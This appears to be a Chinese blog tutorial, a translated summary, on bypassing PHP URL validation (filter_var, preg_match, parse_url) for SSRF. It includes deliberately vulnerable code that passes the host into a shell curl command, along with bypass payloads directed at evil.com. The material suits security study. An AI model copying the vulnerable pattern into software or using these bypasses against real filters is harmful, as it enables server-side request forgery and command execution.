php parse url ctf,【SSRF】如何绕过filter_var(), preg_match() 和 parse

php parse url ctf,【SSRF】如何绕过filter_var(), preg_match() 和 parse_url()

0x01 前言

这篇文章是在我看完一片国外安全大佬写的文章后对其进行总结并翻译得到的。

0x02 正文之绕过filter_var和preg_match

本片文章主要深入一种php ssrf的技术——如何绕过例如filter_var(), preg_match()和parse_url()等函数。

本次我进行测试的php版本全部为php v5.6.30

80ce73919edb

php-version

PHP 漏洞代码

echo "Argument: ".$argv[1]."\n";

//check if argument is a valid URL

if(filter_var($argv[1], FILTER_VALIDATE_URL)){

//parse URL

$r = parse_url($argv[1]);

print_r($r);

//check if host ends with google.com

if(preg_match('/baidu\.com$/', $r['host'])){

//get page from URL

exec('curl -v -s "'.$r['host'].'"', $a);

print_r($a);

}else{

echo "Error: Host not allowed";

}

}else{

echo "Error: Invalid URL";

}

这段代码里使用了filter_var()函数，preg_match()函数来进行过滤，并用parse_url()函数进行解析，最后利用exec函数执行curl命令进行访问网址。

在正式介绍绕过技术之前，我们需要了解一下以上函数的具体作用。

filter_var()

filter_var — 使用特定的过滤器过滤一个变量

80ce73919edb

FILTER_VALIDATE_URL

preg_match()

该函数使用正则表达式来进行匹配特定的字符串

parse_url()

80ce73919edb

parse_url

ok，了解了这些函数后，说说上面的测试代码。这段代码的是获取第一个参数(这个参数是用来模拟通过$_GET或者$_POST方法获取的)，然后通过filter_var()函数判断传入的url时候符合规定。如果如何规定，通过parse_url来解析这个参数，获取到host值，通过preg_match函数来判断host时候以baidu.com结尾。

运行上面的代码得到的正常结果取下：

80ce73919edb

如果不是正常的参数呢？

http://evil.com

80ce73919edb

绕过FILTER_VALIDATE_URL和正则表达式

许多URL结构保留一些特殊的字符用来表示特殊的含义，这些符号在URL中不同的位置有着其特殊的语义。字符“;”, “/”, “?”, “:”, “@”, “=” 和“&”是被保留的。除了分层路径中的点段，通用语法将路径段视为不透明。生成URI的应用程序通常使用段中允许的保留字符来分隔。例如“；”和“=”用来分割参数和参数值。逗号也有着类似的作用。

例如，有的结构使用name;v=1.1来表示name的version是1.1，然而还可以使用name,1.1来表示相同的意思。当然对于URL来说，这些保留的符号还是要看URL的算法来表示他们的作用。

运行代码试一下

80ce73919edb

发现报错了，返回的是Invalid URL，那么因该是filter_var函数没有绕过。filter_var函数可以解析多种协议，我们可以试一下不是http的协议，例如

0://evil.com;baidu.com

80ce73919edb

ok,成功绕过filter_var和preg_match函数！但是我们发现它并没有解析我们的url，别担心，我们试试添加一下端口号，因为不是http的话默认端口就不是80了

0://evil.com:80;baidu.com:80

80ce73919edb

ok，成功解析！

当然，我们之前说的逗号也是可以跟分号是一个作用的

80ce73919edb